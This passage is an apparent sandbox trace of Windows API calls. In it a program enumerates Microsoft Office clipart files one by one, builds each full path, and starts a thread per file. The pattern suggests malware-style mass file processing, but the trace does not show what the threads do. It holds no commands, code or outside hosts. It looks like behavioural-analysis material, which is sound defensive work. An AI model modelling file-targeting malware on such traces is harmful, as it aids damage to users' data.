(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4a9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0090.914] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0090.914] wcscmp (_String1="AG00174_.GIF", _String2=".") returned 1 [0090.914] wcscmp (_String1="AG00174_.GIF", _String2="..") returned 1 [0090.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4aa80 [0090.914] wcscpy (in: _Dest=0x1cf4aa80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.914] wcscat (in: _Dest=0x1cf4aa80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.914] wcscat (in: _Dest=0x1cf4aa80, _Source="AG00174_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" [0090.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4aa80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8 [0090.915] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0090.915] wcscmp (_String1="AG00175_.GIF", _String2=".") returned 1 [0090.915] wcscmp (_String1="AG00175_.GIF", _String2="..") returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ab10 [0090.915] wcscpy (in: _Dest=0x1cf4ab10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.915] wcscat (in: _Dest=0x1cf4ab10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.915] wcscat (in: _Dest=0x1cf4ab10, _Source="AG00175_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" [0090.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ab10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc [0090.916] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0090.916] wcscmp (_String1="AG00176_.GIF", _String2=".") returned 1 [0090.916] wcscmp (_String1="AG00176_.GIF", _String2="..") returned 1 [0090.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4aba0 [0090.916] wcscpy (in: _Dest=0x1cf4aba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.916] wcscat (in: _Dest=0x1cf4aba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.916] wcscat (in: _Dest=0x1cf4aba0, _Source="AG00176_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" [0090.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4aba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0 [0090.916] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0090.916] wcscmp (_String1="AN00010_.WMF", _String2=".") returned 1 [0090.916] wcscmp (_String1="AN00010_.WMF", _String2="..") returned 1 [0090.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ac30 [0090.917] wcscpy (in: _Dest=0x1cf4ac30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.917] wcscat (in: _Dest=0x1cf4ac30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.917] wcscat (in: _Dest=0x1cf4ac30, _Source="AN00010_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" [0090.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ac30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4 [0090.917] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0090.917] wcscmp (_String1="AN00015_.WMF", _String2=".") returned 1 [0090.917] wcscmp (_String1="AN00015_.WMF", _String2="..") returned 1 [0090.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4acc0 [0090.917] wcscpy (in: _Dest=0x1cf4acc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.917] wcscat (in: _Dest=0x1cf4acc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.917] wcscat (in: _Dest=0x1cf4acc0, _Source="AN00015_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" [0090.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4acc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8 [0090.918] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0090.918] wcscmp (_String1="AN00790_.WMF", _String2=".") returned 1 [0090.918] wcscmp (_String1="AN00790_.WMF", _String2="..") returned 1 [0090.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ad50 [0090.918] wcscpy (in: _Dest=0x1cf4ad50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.918] wcscat (in: _Dest=0x1cf4ad50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.918] wcscat (in: _Dest=0x1cf4ad50, _Source="AN00790_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" [0090.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec [0090.919] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0090.919] wcscmp (_String1="AN00853_.WMF", _String2=".") returned 1 [0090.919] wcscmp (_String1="AN00853_.WMF", _String2="..") returned 1 [0090.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ade0 [0090.919] wcscpy (in: _Dest=0x1cf4ade0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.919] wcscat (in: _Dest=0x1cf4ade0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.919] wcscat (in: _Dest=0x1cf4ade0, _Source="AN00853_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" [0090.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ade0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0090.920] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0090.920] wcscmp (_String1="AN00914_.WMF", _String2=".") returned 1 [0090.920] wcscmp (_String1="AN00914_.WMF", _String2="..") returned 1 [0090.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ae70 [0090.920] wcscpy (in: _Dest=0x1cf4ae70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.920] wcscat (in: _Dest=0x1cf4ae70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.920] wcscat (in: _Dest=0x1cf4ae70, _Source="AN00914_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" [0090.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ae70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0090.921] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0090.921] wcscmp (_String1="AN00932_.WMF", _String2=".") returned 1 [0090.921] wcscmp (_String1="AN00932_.WMF", _String2="..") returned 1 [0090.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4af00 [0090.921] wcscpy (in: _Dest=0x1cf4af00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.921] wcscat (in: _Dest=0x1cf4af00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.921] wcscat (in: _Dest=0x1cf4af00, _Source="AN00932_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" [0090.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4af00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8 [0090.921] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0090.921] wcscmp (_String1="AN00965_.WMF", _String2=".") returned 1 [0090.921] wcscmp (_String1="AN00965_.WMF", _String2="..") returned 1 [0090.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4af90 [0090.921] wcscpy (in: _Dest=0x1cf4af90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.921] wcscat (in: _Dest=0x1cf4af90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.921] wcscat (in: _Dest=0x1cf4af90, _Source="AN00965_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" [0090.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4af90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0090.922] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0090.922] wcscmp (_String1="AN01039_.WMF", _String2=".") returned 1 [0090.922] wcscmp (_String1="AN01039_.WMF", _String2="..") returned 1 [0090.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b020 [0090.922] wcscpy (in: _Dest=0x1cf4b020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.922] wcscat (in: _Dest=0x1cf4b020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.922] wcscat (in: _Dest=0x1cf4b020, _Source="AN01039_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" [0090.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0090.923] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0090.923] wcscmp (_String1="AN01044_.WMF", _String2=".") returned 1 [0090.923] wcscmp (_String1="AN01044_.WMF", _String2="..") returned 1 [0090.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b0b0 [0090.923] wcscpy (in: _Dest=0x1cf4b0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.923] wcscat (in: _Dest=0x1cf4b0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.923] wcscat (in: _Dest=0x1cf4b0b0, _Source="AN01044_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" [0090.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08 [0090.924] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0090.924] wcscmp (_String1="AN01060_.WMF", _String2=".") returned 1 [0090.924] wcscmp (_String1="AN01060_.WMF", _String2="..") returned 1 [0090.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b140 [0090.924] wcscpy (in: _Dest=0x1cf4b140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.924] wcscat (in: _Dest=0x1cf4b140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.924] wcscat (in: _Dest=0x1cf4b140, _Source="AN01060_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" [0090.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c [0090.925] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0090.925] wcscmp (_String1="AN01084_.WMF", _String2=".") returned 1 [0090.925] wcscmp (_String1="AN01084_.WMF", _String2="..") returned 1 [0090.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b1d0 [0090.925] wcscpy (in: _Dest=0x1cf4b1d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.925] wcscat (in: _Dest=0x1cf4b1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.925] wcscat (in: _Dest=0x1cf4b1d0, _Source="AN01084_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" [0090.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10 [0090.926] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0090.926] wcscmp (_String1="AN01173_.WMF", _String2=".") returned 1 [0090.926] wcscmp (_String1="AN01173_.WMF", _String2="..") returned 1 [0090.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b260 [0090.926] wcscpy (in: _Dest=0x1cf4b260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.926] wcscat (in: _Dest=0x1cf4b260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.926] wcscat (in: _Dest=0x1cf4b260, _Source="AN01173_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" [0090.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14 [0090.927] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, 